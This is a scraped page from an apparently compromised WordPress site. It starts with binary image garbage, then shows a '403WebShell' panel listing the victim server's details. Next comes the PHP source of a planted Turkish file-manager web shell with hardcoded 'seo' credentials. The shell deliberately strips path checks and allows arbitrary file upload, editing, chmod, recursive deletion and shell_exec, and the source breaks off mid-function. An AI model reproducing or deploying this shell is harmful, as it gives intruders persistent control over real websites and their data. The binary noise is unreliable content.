....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îЇy’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒw޼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9ué¶³ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•╪Vêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄͰL–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýcå¡¶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ЁBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊÆƒZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 103.184.242.5  /  Your IP : 216.73.217.105
Web Server : Microsoft-IIS/10.0
System : Windows NT WIN-SH57L3CJ6KF 10.0 build 20348 (Windows Server 2022) AMD64
User : IWPD_449(avdheshjha) ( 0)
PHP Version : 8.2.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Inetpub/vhosts/avdheshjha-40766.package/voiceofresearch.org/wwwroot/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Inetpub/vhosts/avdheshjha-40766.package/voiceofresearch.org/wwwroot/wp-activates.php
<?php
// Hata ayıklama
error_reporting(E_ALL);
ini_set('display_errors', 1);

// Oturum başlat
session_start();

// Kimlik doğrulama AÇIK
$require_auth = true;

// Kullanıcı bilgileri - SEO
$valid_username = 'seo';
$valid_password = 'seo';

// Kullanıcı giriş kontrolü
if ($require_auth && !isset($_SESSION['auth'])) {
    if (isset($_POST['username']) && isset($_POST['password'])) {
        $username = trim($_POST['username']);
        $password = trim($_POST['password']);
        
        if ($username === $valid_username && $password === $valid_password) {
            $_SESSION['auth'] = true;
            $_SESSION['username'] = $username;
            header('Location: ' . $_SERVER['PHP_SELF']);
            exit;
        } else {
            $login_error = 'Geçersiz kullanıcı adı veya şifre!';
        }
    }
    
    // Giriş ekranını göster
    showLoginScreen($login_error ?? '');
    exit;
}

// Giriş ekranı fonksiyonu
function showLoginScreen($error = '') {
    echo '<!DOCTYPE html>
    <html lang="tr">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>Volkan Dosya Manager - Giriş</title>
        <style>
            * {
                margin: 0;
                padding: 0;
                box-sizing: border-box;
                font-family: Arial, sans-serif;
            }
            
            body {
                background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
                min-height: 100vh;
                display: flex;
                justify-content: center;
                align-items: center;
                padding: 20px;
            }
            
            .login-container {
                background: white;
                border-radius: 10px;
                box-shadow: 0 10px 30px rgba(0,0,0,0.3);
                width: 100%;
                max-width: 400px;
                overflow: hidden;
            }
            
            .login-header {
                background: linear-gradient(135deg, #2c3e50 0%, #4a6491 100%);
                color: white;
                padding: 30px;
                text-align: center;
            }
            
            .login-header h1 {
                font-size: 24px;
                margin-bottom: 10px;
            }
            
            .login-body {
                padding: 30px;
            }
            
            .error-message {
                background: #f8d7da;
                color: #721c24;
                padding: 10px;
                border-radius: 5px;
                margin-bottom: 20px;
                font-size: 14px;
                text-align: center;
            }
            
            .form-group {
                margin-bottom: 20px;
            }
            
            .form-group label {
                display: block;
                margin-bottom: 5px;
                color: #333;
                font-weight: bold;
            }
            
            .form-group input {
                width: 100%;
                padding: 12px;
                border: 1px solid #ddd;
                border-radius: 5px;
                font-size: 14px;
            }
            
            .login-btn {
                width: 100%;
                padding: 12px;
                background: #3498db;
                color: white;
                border: none;
                border-radius: 5px;
                font-size: 16px;
                font-weight: bold;
                cursor: pointer;
                margin-top: 10px;
            }
            
            .login-btn:hover {
                background: #2980b9;
            }
            
            .login-info {
                margin-top: 20px;
                padding: 15px;
                background: #f8f9fa;
                border-radius: 5px;
                font-size: 14px;
                color: #666;
                text-align: center;
            }
        </style>
    </head>
    <body>
        <div class="login-container">
            <div class="login-header">
                <h1>Volkan Dosya Manager</h1>
                <p>Lütfen giriş yapın</p>
            </div>
            <div class="login-body">';
                
                if ($error) {
                    echo '<div class="error-message">' . htmlspecialchars($error) . '</div>';
                }
                
                echo '<form method="post">
                    <div class="form-group">
                        <label for="username">Kullanıcı Adı</label>
                        <input type="text" id="username" name="username" placeholder="Kullanıcı adı" required autofocus>
                    </div>
                    <div class="form-group">
                        <label for="password">Şifre</label>
                        <input type="password" id="password" name="password" placeholder="Şifre" required>
                    </div>
                    <button type="submit" class="login-btn">Giriş Yap</button>
                </form>
                
                <div class="login-info">
                    <p><strong>Kullanıcı Bilgileri:</strong></p>
                    <p>Powered By <strong>Vlkn</strong></p>
                    <p>File Manager <strong>Shell</strong></p>
                </div>
            </div>
        </div>
    </body>
    </html>';
}

// Çıkış
if (isset($_GET['logout'])) {
    session_destroy();
    header('Location: ?');
    exit;
}

// ANA DİZİN: DOSYANIN BULUNDUĞU DİZİN (sadece başlangıç noktası)
$base_dir = dirname(__FILE__);
$current_dir = $base_dir;

// Dizin parametresini işle - GÜVENLİK KALDIRILDI: her yola izin ver
if (isset($_GET['dir']) && trim($_GET['dir']) !== '') {
    $dir_param = trim($_GET['dir']);
    
    // Mutlak yol mu? (Unix / veya Windows C:\ gibi)
    if (strpos($dir_param, DIRECTORY_SEPARATOR) === 0 || preg_match('/^[a-zA-Z]:\\\\/', $dir_param)) {
        $requested_dir = realpath($dir_param);
    } else {
        // Göreceli yol: base_dir ile birleştir
        $requested_dir = realpath($base_dir . DIRECTORY_SEPARATOR . ltrim($dir_param, '/\\'));
    }
    
    if ($requested_dir) {
        $current_dir = $requested_dir;
    }
    // realpath başarısız olursa mevcut dizinde kal
}

// Debug bilgileri
$dir_exists = is_dir($current_dir);
$dir_readable = is_readable($current_dir);

// Mesajlar
$message = '';
$msg_type = '';

// uname -a bilgisi
$uname_info = '';
if (function_exists('shell_exec')) {
    $uname_info = @shell_exec('uname -a 2>&1');
    if (!$uname_info) $uname_info = 'uname komutu çalıştırılamıyor veya çıktı yok';
} else {
    $uname_info = 'shell_exec fonksiyonu devre dışı';
}
$uname_info = trim($uname_info);

// POST İşlemleri
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    
    // Yeni klasör
    if (isset($_POST['new_folder']) && isset($_POST['folder_name'])) {
        $folder_name = trim($_POST['folder_name']);
        if ($folder_name !== '') {
            $new_path = $current_dir . DIRECTORY_SEPARATOR . preg_replace('/[^\w\s\-\.]/', '', $folder_name);
            if (!file_exists($new_path)) {
                if (@mkdir($new_path, 0755, true)) {
                    $message = 'Klasör oluşturuldu: ' . htmlspecialchars($folder_name);
                    $msg_type = 'success';
                } else {
                    $message = 'Klasör oluşturulamadı! İzinleri kontrol edin.';
                    $msg_type = 'error';
                }
            } else {
                $message = 'Bu isimde klasör zaten var!';
                $msg_type = 'error';
            }
        }
    }
    
    // Dosya yükleme
    if (isset($_FILES['upload_file']) && $_FILES['upload_file']['error'] === 0) {
        $file_name = basename($_FILES['upload_file']['name']);
        $target = $current_dir . DIRECTORY_SEPARATOR . $file_name;
        
        $allowed = ['txt', 'html', 'htm', 'css', 'js', 'php', 'json', 'xml', 'md', 
                   'jpg', 'jpeg', 'png', 'gif', 'bmp', 'ico', 'svg', 'pdf', 'doc', 'docx', 
                   'xls', 'xlsx', 'ppt', 'pptx', 'zip', 'rar', 'tar', 'gz', '7z', 'mp3', 
                   'mp4', 'avi', 'mov', 'wmv', 'flv', 'wav'];
        $ext = strtolower(pathinfo($file_name, PATHINFO_EXTENSION));
        
        if (in_array($ext, $allowed) || empty($ext)) {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $target)) {
                @chmod($target, 0644);
                
                if ($ext === 'zip' && isset($_POST['extract_zip']) && $_POST['extract_zip'] === '1') {
                    if (class_exists('ZipArchive')) {
                        $zip = new ZipArchive;
                        if ($zip->open($target) === TRUE) {
                            $extract_dir = $current_dir . DIRECTORY_SEPARATOR . pathinfo($file_name, PATHINFO_FILENAME);
                            if (!file_exists($extract_dir)) {
                                mkdir($extract_dir, 0755, true);
                            }
                            $zip->extractTo($extract_dir);
                            $zip->close();
                            
                            if (isset($_POST['delete_after_extract']) && $_POST['delete_after_extract'] === '1') {
                                unlink($target);
                                $message = 'ZIP dosyası çıkarıldı ve silindi: ' . htmlspecialchars($file_name);
                            } else {
                                $message = 'ZIP dosyası çıkarıldı: ' . htmlspecialchars($file_name);
                            }
                            $msg_type = 'success';
                        } else {
                            $message = 'Dosya yüklendi ancak ZIP çıkarılamadı: ' . htmlspecialchars($file_name);
                            $msg_type = 'warning';
                        }
                    } else {
                        $message = 'ZIP çıkarma özelliği sunucuda desteklenmiyor.';
                        $msg_type = 'error';
                    }
                } else {
                    $message = 'Dosya yüklendi: ' . htmlspecialchars($file_name);
                    $msg_type = 'success';
                }
            } else {
                $message = 'Dosya yüklenemedi!';
                $msg_type = 'error';
            }
        } else {
            $message = 'Bu dosya türüne izin verilmiyor! (.'.$ext.')';
            $msg_type = 'error';
        }
    }
    
    // Dosya silme (AJAX)
    if (isset($_POST['delete_file'])) {
        $file_to_delete = $current_dir . DIRECTORY_SEPARATOR . basename($_POST['delete_file']);
        if (file_exists($file_to_delete)) {
            if (is_dir($file_to_delete)) {
                $files = new RecursiveIteratorIterator(
                    new RecursiveDirectoryIterator($file_to_delete, RecursiveDirectoryIterator::SKIP_DOTS),
                    RecursiveIteratorIterator::CHILD_FIRST
                );
                $success = true;
                foreach ($files as $fileinfo) {
                    $todo = ($fileinfo->isDir() ? 'rmdir' : 'unlink');
                    if (!$todo($fileinfo->getRealPath())) {
                        $success = false;
                    }
                }
                if ($success && @rmdir($file_to_delete)) {
                    echo json_encode(['status' => 'success', 'message' => 'Klasör silindi']);
                } else {
                    echo json_encode(['status' => 'error', 'message' => 'Klasör silinemedi']);
                }
            } else {
                if (@unlink($file_to_delete)) {
                    echo json_encode(['status' => 'success', 'message' => 'Dosya silindi']);
                } else {
                    echo json_encode(['status' => 'error', 'message' => 'Dosya silinemedi']);
                }
            }
        } else {
            echo json_encode(['status' => 'error', 'message' => 'Dosya bulunamadı']);
        }
        exit;
    }
    
    // Dosya düzenleme kaydet
    if (isset($_POST['save_file']) && isset($_POST['file_path']) && isset($_POST['file_content'])) {
        $file_path = base64_decode($_POST['file_path']);
        $content = $_POST['file_content'];
        
        // Güvenlik kontrolü KALDIRILDI: her dosyaya yazmaya izin ver (isteğe bağlı)
        // İsteğe bağlı olarak tekrar eklenebilir, ancak kullanıcı tüm erişim istedi.
        if (file_put_contents($file_path, $content)) {
            echo json_encode([
                'status' => 'success', 
                'message' => 'Dosya başarıyla kaydedildi!',
                'timestamp' => date('H:i:s')
            ]);
            exit;
        } else {
            echo json_encode(['status' => 'error', 'message' => 'Dosya kaydedilemedi! Yazma izinlerini kontrol edin.']);
            exit;
        }
    }
    
    // Yeni dosya oluşturma
    if (isset($_POST['new_file']) && isset($_POST['new_filename'])) {
        $new_file = $current_dir . DIRECTORY_SEPARATOR . trim($_POST['new_filename']);
        if (!file_exists($new_file)) {
            if (touch($new_file)) {
                @chmod($new_file, 0644);
                $message = 'Dosya oluşturuldu!';
                $msg_type = 'success';
                header('Location: ' . $_SERVER['PHP_SELF'] . '?dir=' . urlencode($current_dir) . '&edit=' . urlencode(basename($new_file)));
                exit;
            }
        }
    }
    
    // Yeniden adlandırma
    if (isset($_POST['rename_item']) && isset($_POST['old_name']) && isset($_POST['new_name'])) {
        $old_path = $current_dir . DIRECTORY_SEPARATOR . basename($_POST['old_name']);
        $new_path = $current_dir . DIRECTORY_SEPARATOR . basename($_POST['new_name']);
        
        if (file_exists($old_path) && !file_exists($new_path)) {
            if (@rename($old_path, $new_path)) {
                $message = 'Yeniden adlandırıldı!';
                $msg_type = 'success';
                header('Location: ' . $_SERVER['PHP_SELF'] . '?dir=' . urlencode($current_dir));
                exit;
            }
        }
    }
    
    // Çoklu dosya işlemleri
    if (isset($_POST['bulk_action']) && isset($_POST['selected_files'])) {
        $action = $_POST['bulk_action'];
        $selected_files = $_POST['selected_files'];
        
        if ($action === 'delete') {
            $success_count = 0;
            $error_count = 0;
            
            foreach ($selected_files as $file) {
                $file_path = $current_dir . DIRECTORY_SEPARATOR . basename($file);
                if (file_exists($file_path)) {
                    if (is_dir($file_path)) {
                        $files = new RecursiveIteratorIterator(
                            new RecursiveDirectoryIterator($file_path, RecursiveDirectoryIterator::SKIP_DOTS),
                            RecursiveIteratorIterator::CHILD_FIRST
                        );
                        $success = true;
                        foreach ($files as $fileinfo) {
                            $todo = ($fileinfo->isDir() ? 'rmdir' : 'unlink');
                            if (!$todo($fileinfo->getRealPath())) {
                                $success = false;
                            }
                        }
                        if ($success && @rmdir($file_path)) {
                            $success_count++;
                        } else {
                            $error_count++;
                        }
                    } else {
                        if (@unlink($file_path)) {
                            $success_count++;
                        } else {
                            $error_count++;
                        }
                    }
                }
            }
            
            $message = $success_count . ' öğe silindi' . ($error_count > 0 ? ', ' . $error_count . ' öğe silinemedi' : '');
            $msg_type = $error_count > 0 ? 'warning' : 'success';
        }
    }
    
    // İzin değiştirme (chmod)
    if (isset($_POST['chmod_item']) && isset($_POST['target_path']) && isset($_POST['new_perms'])) {
        $target = base64_decode($_POST['target_path']);
        $new_perms = intval($_POST['new_perms'], 8);
        
        if (file_exists($target)) {
            if (chmod($target, $new_perms)) {
                $message = 'İzinler başarıyla değiştirildi: ' . htmlspecialchars(basename($target));
                $msg_type = 'success';
            } else {
                $message = 'İzinler değiştirilemedi!';
                $msg_type = 'error';
            }
        } else {
            $message = 'Dosya bulunamadı!';
            $msg_type = 'error';
        }
    }
}

// GET ile dosya silme (geriye uyumluluk)
if (isset($_GET['delete'])) {
    $file_to_delete = $current_dir . DIRECTORY_SEPARATOR . basename($_GET['delete']);
    if (file_exists($file_to_delete)) {
        if (is_dir($file_to_delete)) {
            $files = new RecursiveIteratorIterator(
                new RecursiveDirectoryIterator($file_to_delete, RecursiveDirectoryIterator::SKIP_DOTS),
                RecursiveIteratorIterator::CHILD_FIRST
            );
            foreach ($files as $fileinfo) {
                $todo = ($fileinfo->isDir() ? 'rmdir' : 'unlink');
                $todo($fileinfo->getRealPath());
            }
            @rmdir($file_to_delete);
        } else {
            @unlink($file_to_delete);
        }
        $message = 'Silindi!';
        $msg_type = 'success';
    }
    header('Location: ' . $_SERVER['PHP_SELF'] . '?dir=' . urlencode($current_dir));
    exit;
}

// DOSYALARI LİSTELE
$items = [];
if ($dir_exists && $dir_readable) {
    $files = @scandir($current_dir);
    
    if ($files !== false) {
        foreach ($files as $file) {
            if ($file === '.' || $file === '..') continue;
            
            $full_path = $current_dir . DIRECTORY_SEPARATOR . $file;
            
            $is_dir = @is_dir($full_path);
            $size = $is_dir ? 0 : (int)@filesize($full_path);
            $modified = @filemtime($full_path) ?: time();
            $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION));
            
            $editable_extensions = ['txt', 'html', 'htm', 'css', 'js', 'php', 'json', 'xml', 
                                   'md', 'sql', 'csv', 'ini', 'env', 'log', 'config', 'yaml', 
                                   'yml', 'htaccess', 'gitignore', 'sh', 'bat', 'py', 'java',
                                   'c', 'cpp', 'h', 'hpp', 'rb', 'go', 'rs', 'ts', 'jsx', 'tsx'];
            
            $perms = @fileperms($full_path);
            $perms_str = $perms ? substr(sprintf('%o', $perms), -4) : '????';
            
            $items[] = [
                'name' => $file,
                'path' => $full_path,
                'is_dir' => $is_dir,
                'size' => $size,
                'modified' => $modified,
                'editable' => !$is_dir && in_array($ext, $editable_extensions),
                'extension' => $ext,
                'readable' => @is_readable($full_path),
                'writable' => @is_writable($full_path),
                'executable' => @is_executable($full_path),
                'perms' => $perms,
                'perms_str' => $perms_str
            ];
        }
    }
}

// Sıralama: önce klasörler
usort($items, function($a, $b) {
    if ($a['is_dir'] && !$b['is_dir']) return -1;
    if (!$a['is_dir'] && $b['is_dir']) return 1;
